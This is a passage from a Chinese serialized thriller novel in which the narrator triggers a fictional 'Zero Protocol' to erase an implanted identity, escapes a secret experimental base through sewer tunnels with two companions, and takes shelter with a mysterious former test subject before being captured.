【零号协议-就绪。等待最终执行指令。】
与此同时,插入密钥的接口弹开,那枚金属棱柱自动退出,其内部闪烁的流光已经熄灭,变得黯淡无光,仿佛能量耗尽。
我瞬间收回手掌,一把抓起那把已经失效的密钥塞入口袋,同时另一只手再次将**抵住李医生:“怎么执行?!”
门被彻底撞开!阿杰带着四名全副武装的守卫冲了进来,武器齐刷刷对准了我们!
“别动!放开她!”阿杰厉声喝道,目光锐利地扫过屏幕上那行蓝色的文字,脸色变得极其难看,“你们竟然……启动了它?!”
“告诉他们退后!”我将李医生挡在身前,**紧紧贴着她的皮肤。
阿杰眼神冰冷,抬手阻止了手下立刻开枪的意图,但他也没有后退。“韩冰,没用的。‘零号协议’需要最高权限确认才能最终执行。而这个权限,只有我和极少数核心成员拥
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有。你们拿到了钥匙,启动了界面,但……你们无法按下那个最终的按钮。放开李医生,我可以考虑让你们死得痛快一点。”
我的心沉了下去。需要阿杰的权限?难道一切努力都白费了?
就在这时,被我制住的李医生,却突然低声快速说道:“不……他撒谎……协议有两种执行模式……密钥启动的是……是独立模式……不需要他的权限……”
阿杰的脸色骤变:“李医生!你闭嘴!”
李医生仿佛豁出去了,继续急促地说道:“终端!语音指令!说‘确认执行零号协议’!快!”
几乎在她话音落下的同时,阿杰怒吼:“开枪!阻止他们!”
但我比他们更快!在李医生说出“语音指令”的瞬间,我已经猛地拖着李医生向侧后方厚重的金属办公桌后扑去,同时对着终端的方向用尽全力吼道:
“确认执行零号协议!”
“砰砰砰!”
**呼啸着打在办公桌和周围的墙壁上,溅起一片碎屑和火花。
就在我的声音落下的那一刻,整个世界仿佛静止了一瞬。
紧接着,终端屏幕上的蓝色背景和白色文字猛地变成了刺眼的红色!一个巨大的、不断倒计时的数字出现在屏幕中央
【协议执行:10】
整个基地的灯光,包括办公室的照明,猛地熄灭!
【9】
【8】
阿杰和守卫们的动作僵住了,他们惊疑不定地环顾四周。
【7】
“你做了什么?!你到底做了什么?!”阿杰对着办公桌后方怒吼,声音里第一次带上了明显的惊慌。
【6】
【5】
李医生在我身边,喃喃自语:“开始了……‘印记’格式化……系统底层重置……”
……
当红色的倒计时数字归零时。
屏幕瞬间黑掉。
那低沉的嗡鸣声和震动也骤然停止。
一切,陷入了死一般的寂静和黑暗。只有应急灯,还在固执地闪烁着红光。
零号协议,执行完毕了?
成功了……还是失败了?
第五十二章 黑暗抉择
应急灯在归零的瞬间也一同熄灭,仿佛整个基地被一只无形的手掐断了所有能源。
几秒钟后,远处似乎传来了备用发电机的沉闷启动声,但很快又归于沉寂,像是被什么力量强行抑制。
只有我们粗重的呼吸声在黑暗中格外清晰。
“怎么回事?全……全黑了?”周玲的声音带着惊恐的颤抖,她的手在黑暗中摸索着,碰到了我的胳膊,立刻紧紧抓住。
我反手握了一下她的手腕,示意她保持冷静。感官在极致黑暗中变得更加敏锐。
“系统……完全宕机了。”李医生的声音在我身边响起,带着难以置信的震惊,“不仅仅是主控系统,连最深层的备用和应急供电都被强制切断了……‘零号协议’……它到底做了什么?”
“你问我?”阿杰冰冷的声音从办公桌另一侧传来,带着压抑的怒火,“这就是你协助他们启动的东西?一个彻底摧毁我们所有心血的自毁程序?”
“不……K设计的‘零号协议’理论上只是格式化‘印记’并重置相关系统,不应该造成这种规模的物理断电……”李医生辩解着,但语气也有些不确定。
就在这时,一阵微弱但持续的、如同指甲刮擦金属的声音,从走廊深处隐隐传来。那声音断断续续,在死寂中显得格外瘆人。
“什么声音?”一个守卫紧张地低声问道。
没有人回答。所有人都屏息凝神。
刮擦声越来越近,还夹杂着一种……拖沓的、不规则的脚步声。
我的脊背窜起一股寒意。这种声音……不像是人类正常行走的声音。
“是……是那些失败品!”另一个守卫的声音带着明显的恐惧,“底层收容区的失败品!供电失效,收容锁失效了!”
失败品?我立刻想起了在那个隐蔽实验室里看到的诡异生物标本。难道这个基地里,还收容着活体的、实验失败的“产品”?
“闭嘴!”阿杰厉声呵斥,但能听出他声音里的一丝紧绷。
刮擦声和拖沓的脚步声已经到了办公室外的走廊,并且停了下来。黑暗中,能感觉到有什么东西正隔着破损的门口,无声地“注视”着办公室内部。
空气中开始弥漫开一股淡淡的、如同**混合着腐烂物的怪异气味。
“照明!谁还有照明!”阿杰低吼道。
一阵摸索声,一道微弱的光束亮起,是一个守卫战术背心上的小型应急手电。
光柱边缘,照出了半张扭曲的人脸,皮肤呈现不正常的灰白色,一只眼睛空洞无神,另一只则异常肿大,布满血丝。它的嘴巴不自然地张开,发出无声的嘶吼,手指如同干枯的树枝,在门框上缓缓刮擦着。
更令人毛骨悚然的是,在它身后,黑暗中似乎还有更多影影绰绰的身影在晃动。
“开火!”阿杰毫不犹豫地下令。
“砰砰砰!”
**打在它们身上,爆出暗色的粘稠液体,但似乎无法立刻阻止它们的行动!它们发出嘶哑难听的嚎叫,顶着枪林弹雨,开始向办公室内涌来!
混乱瞬间爆发!
“后退!守住里面!”阿杰一边射击一边指挥守卫收缩防线。
我趁机拉着周玲和李医生,沿着办公桌向办公室更深处退去。这是一个机会,绝对的混乱和黑暗,是我们脱离的最佳时机!
“跟我走!”我低声道,目光快速搜索着办公室除了正门以外的出口。
我的目光落在办公室内侧一扇不起眼的、似乎是连接着隔壁房间或储藏室的小门上。
“那里!”我指着那扇门。
我们三人猫着腰,借助办公桌和文件柜的掩护,快速向那扇门移动。
冲到门前,我尝试转动门把手
“让开!”我低喝一声,后退半步,蓄力,一脚狠狠踹在门锁附近!
“砰!”木屑飞溅,门锁崩坏,门向内弹开。
门后是一条狭窄的、黑暗的内部通道,似乎是连接不同办公室或功能间的后勤通道。
“快进去!”我将周玲和李医生推进通道,自己最后看了一眼混乱的办公室。阿杰和残余的守卫正被那些源源不断涌入的“失败品”逼得节节后退,无暇他顾。
我闪身进入通道,反手将破损的门尽量关上,又从旁边拖过一个废弃的柜子勉强抵住。
通道内一片漆黑,伸手不见五指。
“这边走!”李医生突然开口,她的声音在黑暗中带着一丝确定,“这条通道通往我的私人休息室,那里有独立的应急物资,可能还有一条很少人知道的备用出口!”
没有时间质疑,我们跟着李医生在黑暗中摸索前行。
走了大约十几米,李医生停下,似乎在墙上摸索着。“找到了。”
“咔哒”一声轻响,一扇门被推开。我们挤了进去,李医生迅速将门关上并反锁。
她似乎对这里很熟悉,在黑暗中摸索了片刻,点亮了一盏依靠电池供电的便携式应急灯。
柔和的光线照亮了这个不大的房间。
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>李医生快步走到一个储物柜前,翻找出一个急救包、几瓶水和一些能量棒递给周玲。“先补充一下体力。”然后她又拿出一个小型手持无线电,尝试调试,但里面只有刺耳的静电噪音。“通讯完全中断了。”
她看向我,眼神复杂:“韩冰,你现在感觉怎么样?”
我活动了一下身体,仔细感受着。那些属于“寒霜”的冰冷记忆和杀戮本能确实淡去了很多。
“‘印记’……被清除了?”我问道。
“根据K的理论,‘零号协议’会格式化‘印记’,但过程可能需要时间,而且……可能会有些副作用。”李医生谨慎地说道,“你的身体和大脑需要适应这种‘剥离’。”
就在这时,一直沉默的周玲突然开口,她看着李医生,眼神锐利:“李医生,你为什么要帮我们?你也是他们的一员。”
李医生沉默了一下,脸上露出一丝苦涩:“是的,我曾经是。我参与了‘涅槃’项目的前期研究。但我越来越意识到阿杰的疯狂,他想创造的不是一个稳定的‘超级战士’,而是一个完全受控的、没有自我意识的杀戮兵器。K的失踪,还有那些……‘失败品’,都证明了这条路的错误。‘零号协议’是K留下的唯一纠正错误的机会。”
她看向我:“韩冰,你是目前唯一一个在‘印记’植入后,还能保持如此高程度自我意识,甚至能反向影响‘印记’的‘载体’。你证明了K的理论可能是对的——融合而非覆盖。阿杰想毁掉你,但我觉得,你可能是唯一的希望。”
我只是想活下去,带着周玲和她奶奶离开这个地狱。
“那个备用出口在哪里?”我直接问道。
李医生指向那个紧闭的、像是卫生间的门:“在里面。洗脸池下方有一个隐蔽的通道,连接着一条废弃的排污管道维修径。那条径理论上可以通往基地外围的山体裂缝。但很多年没用了,不知道是否畅通,而且……外面现在什么情况,我们完全不知道。”
风险巨大,但留在这里,等阿杰解决掉那些怪物,或者等电力恢复,我们依旧是瓮中之鳖。
我走到那扇门前,拧动把手。
门后,果然是一个小小的卫生间。我按照李医生的指示,移开洗脸池下方的挡板,一个仅容一人匍匐通过的、黑黢黢的洞口露了出来,一股潮湿霉烂的气味扑面而来。
唯一的生路,就在眼前。
我回头看向周玲和李医生。
“走。”
第五十三章 排污管道
应急灯惨白的光束刺入洞口,照亮了下方狭窄、布满黏滑污垢的圆形管道内壁。
“就是这里?”周玲捂着口鼻,声音闷闷的,带着明显的犹豫和恐惧。
“图纸上是这么标的。”李医生确认道,她的脸色也不好看,“这是几十年前的旧排污管,后来基地扩建了新的系统,这里就半废弃了,理论上应该能通往西侧山体的一个天然裂隙。但……我不确定现在是否还能通行。”
身后办公室方向传来的**和嘶吼似乎更加密集了,还夹杂着某种东西被砸碎的巨响。阿杰和他的手下显然还在苦战,但谁也不知道他们能撑多久。
没有时间犹豫了。
“我先下。”我用手肘和膝盖抵住管道壁,控制着下滑的速度,同时用灯光向下探照。
管道比想象的更深,而且拐了一个弯,看不到尽头。
“下来,小心点,很滑。”我抬头向上喊道。
周玲学着我的样子,笨拙但坚定地爬了进来。李医生紧随其后。
我们三人排成一列,在狭窄、恶臭的管道中艰难地向下匍匐移动。
爬行了大约十几米,管道开始变得水平,但空间也更加狭窄,有时需要侧身才能通过。前方出现了岔路口,一条继续向前,另一条向左侧延伸,更加狭窄。
“走哪边?”周玲喘着气问。
李医生努力回忆着:“图纸上……主排污道是向前的。左边那条好像是通往一个旧的沉淀池,可能死路。”
“向前。”我做出决定。
就在我们准备继续前进时,从我们下来的方向,隐约传来了人声和光线!
“他们进了管道!追!”是阿杰的声音!他竟然这么快就摆脱了那些怪物,或者……解决了它们?
手电的光柱在我们刚刚经过的管道壁上晃动,脚步声和爬行声迅速逼近!
“快!”我低喝一声,加快速度向前爬去。
身后的追兵显然更熟悉环境,速度比我们快得多。光柱越来越近,甚至能听到他们粗重的呼吸和衣物刮擦管壁的声音。
“砰!”
一声枪响在封闭管道内震耳欲聋!**打在我身后不远的管壁上,溅起一片碎屑和火星!
他们开枪了!
“不能停!”我吼道,几乎是用身体顶着周玲和李医生向前挪动。
前方出现了一个稍微宽阔一点的连接处,像是几个管道的交汇点。
“上去!”我当机立断,指着那个铁栅盖。
我蹲下身,让周玲踩着我肩膀,用力将她向上托起。周玲奋力去推那个铁栅盖。
“打不开!”她带着哭腔喊道。
身后的**和追兵更近了!
“让我来!”李医生喊道,她似乎从口袋里摸出了一个小巧的工具,“是内六角螺丝固定的!”
她挤过去,借助我肩膀的高度,快速用工具拧动栅盖边缘的螺丝。
“快点!他们来了!”周玲看着身后越来越近的光柱,声音颤抖着对我说。
“咔……咔……”螺丝终于松动了!
当最后一颗螺丝被拧下,李医生和我一起用力,将沉重的铁栅盖向上推开!
一股相对清新、带着泥土味的空气涌了进来!上面是黑暗的,但似乎是一个更大的空间。
“周玲,快上去!”我托着她,将她率先推了上去。接着是李医生。
就在我双手撑住边缘,准备发力上去时,身后一道强光猛地照在我身上!
“韩冰!你无路可逃了!”一个守卫已经爬到了连接处,举枪对准了我!
就在他扣动**的瞬间,我猛地向上一窜,同时双脚狠狠蹬在刚刚被推开的铁栅盖上!
“哐当!”
沉重的铁栅盖被我蹬得向下砸落,正好砸在刚刚探出身的守卫头上!
“啊!”一声惨叫,手电筒脱手滚落,光线乱晃。他整个人被砸得向后倒去。
我趁机全力爬上洞口,然后反手想要将铁栅盖拉回原位。
“走!”我拉起等在上面的周玲和李医生,也顾不上看清环境,凭借着应急灯的光束,向着与管道相反的方向发足狂奔!
身后管道里传来阿杰愤怒的咆哮和手下试图重新推开栅盖的嘈杂声。
“这边!我记得这个结构!这是基地一期工程的地下运输道,早就废弃了!”李医生一边跑一边指着前方,“沿着这条道一直向前,应该能到一个旧的车辆转运站,那里可能有通往地面的斜坡!”
我们沿着漆黑的隧道狂奔,脚步声在空旷的环境中传出老远。
跑了不知多久,前方终于出现了一丝微光!
那是一个向上的、被部分坍塌的砖石堵塞的斜坡尽头,缝隙间透出了外界的光线!
希望就在眼前!
然而,就在我们即将冲到斜坡底部时,侧面一条黑暗的岔路里,突然闪出一个人影,挡在了我们和出口之间!
阿杰!
他脸色阴沉,衣服有些凌乱,身上沾着不知是血还是污渍,手中的枪稳稳地指着我们。
他竟然抄了近路!
“游戏结束了,韩冰。”他的声音因为奔跑而有些喘息,但眼神依旧冰冷如刀,“把密钥交出来,我可以让你们死得痛快点。”
我们三人猛地停住脚步,心沉到了谷底。唯一的出口近在咫尺,却被最后的拦路虎挡住。
我将周玲和李医生护在身后,缓缓直起身,
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擦去额角的汗水和污迹,目光迎向阿杰。
“密钥?”我平静地开口,从口袋里掏出那枚已经黯淡无光的金属棱柱,在微弱的光线下晃了晃,“你说这个?能量已经耗尽了,随着‘零号协议’一起。”
阿杰震怒。“你……你毁了它?!”
“毁了?”我看着他,“不,是使用了它。按照K研究员的设计。”
我向前踏出一步,感受着体内虽然疲惫但却前所未有清晰的自我意识。
“阿杰,你想看到的‘寒霜’,已经不存在了。”
“不存在?不……‘印记’可以被格式化,但‘载体’的潜力不会消失!”他猛地抬高了枪口,“就算没有‘寒霜’,你的身体,你的战斗本能,依旧是完美的研究样本!我得不到完整的作品,那就带走最重要的素材!”
他的手指扣紧了**。
就在这千钧一发之际——
“阿杰!”
李医生突然大声喊道,同时将一个小型的数据存储卡举过头顶:“你看这是什么!‘涅槃’项目所有的原始数据、失败案例记录、以及K关于‘载体’排斥反应的完整分析!包括你擅自修改实验参数,导致多名‘载体’崩溃死亡的证据!我已经设置了定时传输,如果我**,或者我们无法在规定时间内离开,这些数据就会自动发送到外界十几个预设的加密地址!”
阿杰的动作瞬间僵住,他难以置信地看向李医生:“你……你竟然拷贝了核心数据?!”
“为了自保,也为了不让你的疯狂彻底毁掉一切!”李医生毫不退缩地与他对视,“放我们走!否则,你和你的组织,就等着身败名裂,被彻底清算吧!”
阿杰的脸色变得极其难看,身后的追兵脚步声也越来越近。
时间,仿佛在这一刻凝固。
是拼个鱼死网破,还是暂时退让?
他死死地盯着我们,几秒钟后,像是从牙缝里挤出来一个字:
“……滚!”
枪口,微微垂下了一丝。
没有片刻迟疑,我拉着周玲和李医生,冲向那被堵塞的出口。我们用尽全身力气,扒开松动的砖石,从那狭窄的缝隙中,奋力向外爬去。
我们滚落在长满杂草的泥地上,贪婪地呼吸着久违的新鲜空气。
阿杰没有追出来。他或许在权衡利弊,或许在收拾残局。
但我们知道,这远未结束。
我回头看了一眼那黑暗的洞口,然后将那枚失效的密钥,深深埋进松软的泥土里。
“走吧。”我拉起周玲,对李医生说。
我们相互搀扶着,踉跄地走向未知的山野。
狩猎,生存的战争,才刚刚开始。
第五十四章 荒原余烬
冰冷的山风裹挟着细碎的雨丝,抽打在脸上,带来刺骨的寒意和一种劫后余生的清醒。
这里是哪里?完全陌生的荒山野岭,看不到任何人烟痕迹。天空是铅灰色的,压抑得让人喘不过气。
“必须尽快离开这里。”李医生率先打破沉默,她的声音有些沙哑,“阿杰不会轻易放弃。基地虽然暂时瘫痪,但他的手下很快会组织起来追踪,或者……他会有别的后手。”
我点了点头,周玲连忙扶住我。
“你怎么样?”她担忧地问。
“没事。”我强迫自己站稳,目光扫视周围,试图辨别方向。
没有地图,没有指南针,只有模糊的太阳方位。
“基地主体在东边山腹。”李医生指着我们来时的方向,“我们现在应该在它的西侧或者西南侧。往西走,地势会逐渐降低,理论上更容易找到公路或者村落。”
“那就往西。”我做出了决定。
我们互相搀扶着,深一脚浅一脚地沿着崎岖的山坡向下行进。
走了大约一个小时,雨势稍微小了一些。
“休息……休息一下。”周玲喘着气,几乎要瘫倒在地。
“我们必须找个能避雨和过夜的地方。”李医生看着越来越暗的天色,忧心忡忡,“在野外露宿,以我们现在的状态,太危险了。”
我强忍着伤口的疼痛,站起身,向更高处爬了几步,极目远眺。
“那边,”我指着那个方向,“有光。可能是灯火。”
李医生和周玲也努力望去。
“太远了,而且不确定是什么。”李医生谨慎地说,“万一是……”
她没有说下去,但我们都明白她的意思。万一是阿杰设下的据点,或者是其他未知的危险。
“总比冻死、饿死在山里强。”我沉声道,“小心靠近,先观察。”
这是我们目前唯一可能的选择。
天色黑了下来,雨还在下,山路更加难行。我们几乎是在摸黑前进,全靠那点遥远的光亮作为指引,以及我超越常人的夜视能力勉强辨认脚下的路。
又走了将近两个小时,那点光亮终于变得清晰了一些。
它来自山坳深处几栋低矮建筑的轮廓,看起来像是一个废弃的……林场看守站或者气象站?几栋砖石结构的平房,窗户大多破损,只有其中一扇窗户里,透出一点摇曳的、似乎是火光的光芒。
有人?
我们放轻脚步,借助树木和残垣断壁的掩护,悄悄靠近。
在最中间那栋看起来相对完好的平房外,我们停了下来。里面确实有火光,透过破损的窗户,能看到一个模糊的人影在火堆旁晃动。
不是阿杰的人。他们的装备和行动模式不是这样。但这荒山野岭,一个独居者?同样透着古怪。
我示意周玲和李医生留在原地隐蔽,自己则如同幽灵般悄无声息地贴近窗户,向内窥视。
屋里生着一堆篝火,一个穿着老旧军大衣、头发花白凌乱的老者正背对着窗户,坐在一个木墩上,似乎正在擦拭着什么工具。
像是一个与世隔绝的老猎人。
但我的目光扫过墙壁时,墙壁上,用木炭画着一些极其潦草、但隐约能辨认出的符号和结构图,其中一些符号的风格,竟然与基地里某些区域的标识有几分神似!
这不是普通的猎人!
就在我心中警铃大作时,屋里的老者似乎察觉到了什么,擦拭工具的动作猛地一顿,头也不回,用沙哑而沉稳的声音开口道:
“外面的朋友,雨大天寒,既然来了,就进来烤烤火吧。”
他发现了我们!
是陷阱,还是真的巧合?
屋里的老者似乎并不在意我们的沉默,继续慢悠悠地说道:“这方圆几十里,就我这一处能挡风遮雨的地方。你们身上的血腥味和……那种‘干净’得不属于山里的气味,隔着老远我就闻到了。”
他话里有话!
我推开了那扇吱呀作响的木门。
火光跳跃,映照出老者转过身来的脸。那是一张饱经风霜、布满皱纹的脸,但一双眼睛却异常锐利清明,没有丝毫浑浊。
他的目光在我们三人身上扫过,在我的伤口和周玲惊恐的脸上停留片刻,最后落在李医生那身与周围环境格格不入的、沾满污迹的白大褂上。
他的眉头皱了一下。
“坐。”他指了指火堆旁另外几个木墩,语气平淡,仿佛我们只是寻常的迷路旅人。
我们没有动,保持着警惕。
老者也不在意,拿起火堆上的铁壶,倒了三碗热气腾腾的、散发着苦涩草药味的液体放在地上。“驱寒的,没毒。”
他重新坐下,拿起那是一把保养得极好的、造型古老的猎刀。“你们是从东边那个‘白房子’里逃出来的?”
“白房子?”周玲下意识地重复。
“山里人都这么叫。”老者用刀尖拨弄了一下火堆,“几十年前就有的怪地方,偶尔能看到些穿着白衣服
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的人进进出出,神神秘秘。近几年动静尤其大,夜里有时还能听到地下传来的闷响。”他抬起眼皮,看向我们,“看你们的样子,在里面没少受罪。”
“您知道那里是做什么的?”李医生忍不住问道,声音带着一丝急切。
老者咧开嘴,笑容有些意味深长:“我一个山野老头子,能知道什么?不过嘛……活得久了,总能看到些不该看的东西,听到些不该听的声音。”
他的目光再次落在我身上,这一次,带着一种审视和……探究。
“特别是你,小伙子。”他缓缓说道,“你身上的‘味道’最特别。不完全是‘白房子’的味道,还有另一种……更老、更冰冷的‘铁锈’味。”
他指的是……“寒霜”的残留?还是“勋”组织的痕迹?
这个老者,绝对不简单!
“我们只是迷路的登山者。”我试图掩饰。
老者呵呵低笑了两声,转而说道:“不管你们是谁,从哪儿来。既然到了我这里,就算暂时安全了。阿杰那小子,他的手还伸不到我这把老骨头的地盘。”
他认识阿杰?!
震惊如同冰水浇遍全身。这个看似与世隔绝的老者,竟然知道阿杰!
他似乎很满意我们的反应,慢条斯理地将猎刀插回腰间的皮鞘。“放心,我和他们不是一路人。相反,我和他们……有点旧账要算。”
他站起身,走到墙边,指着那些潦草的炭画符号中的一个:“这个标记,认识吗?”
我和李医生凝神看去。那是一个被简化了的、如同扭曲藤蔓缠绕着利剑的图案。
李医生倒吸一口凉气:“这是……‘创世纪’早期用于标识高危实验项目的内部符号!早已废止几十年了!你怎么会……”
“因为,‘创世纪’这个名字,还是我当年和几个老伙计一起起的。”他声音低沉,带着岁月的沧桑和一丝难以化解的恨意,“而我,是唯一一个从他们所谓的‘伊甸园’计划里……爬出来的‘失败品’。”
伊甸园计划?又一个从未听过的名字!
老者看着我们,一字一句地说道:
“孩子们,你们掀开的,只是冰山一角。阿杰和他背后的组织,所图谋的,远比你们想象的要可怕得多。”
“而你们带来的混乱,或许……正是我等了太久的机会。”
荒原的余烬中,新的谜团和潜在的盟友,同时出现了。
前方的路,似乎更加扑朔迷离。
第五十五章 守林人
篝火噼啪作响,映得老者脸上的皱纹如同刀刻斧凿。他自称“守林人”,没有名字。
“伊甸园计划……”李医生喃喃重复,脸色在火光下显得苍白,“那是‘创世纪’最早期的基因改造项目,据说因为伦理问题和高失败率,在三十年前就被永久封存,所有数据和记录都被列为最高机密……您是说,您是当年的……”
“参与者?不,”守林人扯了扯嘴角,那笑容里没有温度,“是材料。编号77。我们那一批,一百个‘材料’,最后‘适配’的,只有三个。我是其中之一,也是……唯一活到现在的。”
他解开老旧军大衣的领口,拉下里面粗糙的毛衣领子,露出脖颈下方一片皮肤。
那里的肌肤呈现出一种极不自然的、类似金属与生物组织融合的质感,隐约能看到皮下埋藏着细密的、如同电路般的暗色纹路。
“这就是‘伊甸园’的馈赠。”守林人的声音平静得可怕,“强化的体质,延缓的衰老,以及对某些……频率的特殊感知。代价是永远无法摆脱的生理监控潜在风险,以及被视为‘残次品’的宿命。”他重新拉好领子,目光锐利地看向我,“你身上的‘铁锈’味,和我感应到的某些‘清理者’很像,但又不一样。更冷,更……空洞。”
清理者?是指“勋”吗?他连这个都知道?
“您知道‘勋’?”我直接问道。
“‘勋’?那是他们后来的名字吧。”守林人用木棍拨弄着火堆,“我们那时候,负责‘处理’失败品和知情者的队伍,叫‘园丁’。手段干净利落,像修剪多余的枝杈。看来几十年过去,他们换汤不换药。”
他看向我,眼神仿佛能穿透皮肉,直视我体内那片曾被“寒霜”占据的虚无。“你被‘勋’盯上,又被弄进‘白房子’……小子,你身上到底有什么特别,让这两拨疯子都对你感兴趣?”
我沉默着。关于“寒霜”,关于“印记”,我不知道该透露多少。
守林人见我不答,也不追问,转而看向李医生:“你呢?穿着白大褂,身上有消毒水和高级营养剂的味道,还有……愧疚和恐惧。你是‘白房子’里面的医生?”
李医生身体微微一颤,点了点头,又摇了摇头:“我曾经是‘涅槃’项目的研究员,但我……我意识到了错误。”
“‘涅槃’……”守林人咀嚼着这个词,眼中闪过一丝嘲讽,“换了个好听的名字,本质上还是‘伊甸园’那套——妄想扮演上帝,把不属于人类的东西强行塞进去。K那个理想主义的傻瓜,最后还是没能阻止他们。”
“您认识K研究员?”李医生急切地问。
“见过几面。很多年前了,他偷偷来找过我,想了解‘伊甸园’的真相,想知道为什么早期的‘载体’会大规模崩溃。他是个聪明人,但太天真,以为能在那个魔窟里找到温和的解决方案。”守林人哼了一声,“看来他最后也失败了,留下了你们启动的那个什么……‘零号协议’?”
我们三人交换了一下眼神。这个守林人知道得远比我们想象的要多。
“是,”我承认道,“我们启动了它,格式化了我体内的‘印记’,并且导致基地系统大规模瘫痪。”
守林人眼中精光一闪,第一次露出了类似赞赏的表情:“干得不错。虽然治标不治本,但至少给了阿杰那小子一记闷棍。”他顿了顿,语气变得严肃,“不过,你们以为这就结束了?太天真了。”
他站起身,走到墙边,指着那些炭画符号中几个更复杂、相互连接的图案:“‘白房子’只是‘创世纪’暴露在外的一个触角,一个专门处理像你这样‘流落在外’的特殊案例,并进行‘涅槃’这种激进项目测试的前哨站。它的核心,它的真正力量,藏在更深、更暗的地方。”
“阿杰不过是条比较凶猛的看门狗。打疼了他,只会惊动他背后的主人。‘零号协议’造成的混乱拖延不了太久,他们有一套完整的应急机制。一旦恢复,第一件事就是不惜一切代价抹除你们,还有我这个‘历史污点’。”
守林人侧耳倾听,脸色一沉:“来得比我想的快。”
“是追兵?”周玲紧张地问。
“不是阿杰的风格。”守林人走到窗边,撩开破旧的窗帘一角,向外望去,眼神凝重,“是‘园丁’……不,是‘勋’。这种低沉的引擎声,是他们专用的山地越野车。他们很少直接介入‘白房子’的事务,除非……”
他猛地回头,目光如电射向我:“除非目标的价值,或者威胁,超出了‘白房子’的处理能力。小子,你格式化‘印记’的过程,是不是引发了什么特别的现象?”
李医生突然开口,声音带着颤抖:“基地底层能源……‘零号协议’启动时,似乎短暂抽取了某种我们未知的深层能源……难道……”
“深层能源?”守林人脸色骤变,“该死!是‘源井’!K那混蛋,他的协议竟然连接了‘源井’!这就难怪了!”
“源井是什么?”我追问。
“没时间解释了!”守林人快步走到屋子角落,掀
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开一块伪装成地面的木板,露出一个黑洞洞的地下入口,“跟我来!这里不能待了!”
引擎声越来越近,已经能听到轮胎碾过碎石的声音。
“他们怎么会找到这里?”周玲一边跟着守林人往下走,一边难以置信地问。
“我身上有旧型号的定位信标,无法拆除,是‘伊甸园’留下的‘礼物’。”守林人语速极快,“他们平时不会动用这个权限来找我这个‘废料’,除非有更高优先级的指令!你们启动‘零号协议’触动的‘源井’,就是最高优先级!”
地下是一个狭窄但整洁的避难所,储存着武器、**、罐头食品和医疗物资。守林人迅速将一支改装过的**和几个弹匣塞给我,又递给周玲和李医生每人一把小巧的**。
“会用吗?”
周玲惶恐地摇头,李医生则勉强点了点头。
“听着,”守林人盯着我们,眼神如同磐石,“从这里往西,穿过一片雷击木林,有一条干涸的河道,沿着河道向下游走大约十公里,有一个废弃的矿业小镇,叫‘灰岩镇’。那里鱼龙混杂,是三不管地带,有办法搞到交通工具和假身份。到了那里,找一个叫‘老猫’的杂货店老板,提我的名字‘77’,他会帮忙。”
他指了指角落一个背包:“里面有一些现金、地图和应急物品。你们必须分开走,目标小一点。韩冰,你受伤了,但你是我们之中最有希望到达的。保护好她们。”
“你呢?”我问。
守林人脸上露出一丝悍厉的笑容:“我在这里住了几十年,总得给客人们准备点‘见面礼’。”他拍了拍旁边几个连接着导线的方块物体,“够他们喝一壶的。快走!从后面那个通气孔爬出去,直接进林子!”
头顶上已经传来了车辆刹车、车门开关和脚步声。
没有时间告别,没有时间犹豫。我深深看了守林人一眼,将他的样子刻在脑海里。
“走!”我推着周玲和李医生,钻进了那个狭小的通气孔。
身后,传来守林人沉稳的哼歌声,以及他拉动**的清脆声响。
我们匍匐爬出通气孔,滚进冰冷的灌木丛。几乎在同时,木屋方向传来了激烈的**和**的轰鸣!
火光冲天而起,映亮了小片天空。
**与猎物的身份再次模糊。我们带着秘密、伤痛和一个老人用生命换来的指引,在寒冷的荒原上,奔向渺茫的生机。
灰岩镇,老猫……下一个目的地的名字,如同黑暗中的微弱星火,指引着**的方向。
第五十六章 分道扬镳
林中弥漫着雨水和腐木的气息,脚下是湿滑的苔藓和盘结的树根。
守林人……
我们没有时间悲伤,甚至没有时间喘息。引擎声并未远去,反而像是在周围山林间散开,进行拉网式搜索。“勋”的人,像嗅到血腥味的鬣狗,不会轻易放弃。
“按他说的,分开走。”我停下脚步,压低声音,肺部因奔跑和伤痛火辣辣地疼。
周玲脸上血色尽失,抓住我的胳膊:“不行!你受伤了!我们一起走!”
李医生虽然也满脸疲惫惊惧,但眼神相对冷静:“守林人说得对,分开走目标小,生存几率更大。韩冰,你的状态……”
“我撑得住。”我打断她,将守林人给的背包塞到周玲怀里,“里面有地图和指南针,沿着干涸河道向下游,十公里,灰岩镇,找‘老猫’。”我又看向李医生,“你和她一起。互相照应。”
“韩冰……”周玲眼圈红了,声音哽咽。
我看着她,这个在绝境中一次次展现出惊人勇气的女孩,心头涌起一种复杂的情感。我抬手,用力握了握她冰冷的肩膀:“活下去。在灰岩镇汇合。”
没有更多告别的话。我指了指两个略微不同的方向:“我走这边,吸引注意力。你们走另一边,保持安静,利用树木掩护。”
深深看了她们一眼,我转身,故意踩断几根枯枝,制造出明显的声响,然后朝着与河道大致平行但略有偏差的方向,快速但略显踉跄地冲去。
几乎在我制造出动静的下一刻,侧后方就传来了急促的脚步声和低沉的呼喝!
“在那边!追!”
成功了。
我将追兵引向了自己。
身后追兵如影随形,他们的配合默契,装备精良,显然都是老手。
我知道,我的体力正在飞速流逝。失血和寒冷让我的意识开始有些模糊。
必须想办法彻底甩掉他们,或者……解决他们。
我的目光落在前方一处地势突然陡峭、布满嶙峋怪石的山崖。那里地形复杂,或许有机会。
我咬紧牙关,用尽最后力气向山崖冲去。
然而,就在我即将冲入乱石区时,脚下一滑,踩中了一块松动的石头,整个人失去平衡,沿着湿滑的陡坡翻滚下去!
天旋地转,身体与岩石猛烈碰撞,剧痛瞬间淹没了意识。
不知过了多久,冰冷的雨水打在脸上,让我从昏迷中短暂苏醒。我躺在一个石缝里,浑身如同散架,左腿传来钻心的疼痛,可能骨折了。**也不知掉落在了哪里。
完了。
意识再次模糊,黑暗如同潮水般涌来。耳边似乎听到了追兵靠近的脚步声和交谈声,越来越近……
再次恢复意识时,首先感觉到的是颠簸。我在移动。
试图睁眼,却发现眼睛被蒙住。手脚被牢固地捆绑着,嘴也被胶带封住。身下是冰冷坚硬的车厢底板,引擎的轰鸣和轮胎压过路面的噪音清晰可辨。
我被抓住了。“勋”的人。
他们没有立刻杀我。为什么?因为守林人提到的“源井”?还是我身上残留的研究价值?
我强迫自己冷静下来,仔细感知周围。车厢里除了我,至少还有两个人,呼吸平稳,没有说话。车辆在行驶,速度不慢,偶尔有转弯,似乎是在山路上。
时间一点点流逝。不知周玲和李医生是否安全逃脱?她们能找到灰岩镇吗?
车辆终于停了下来。我听到车门开关的声音,然后有人将我粗暴地拖下车。
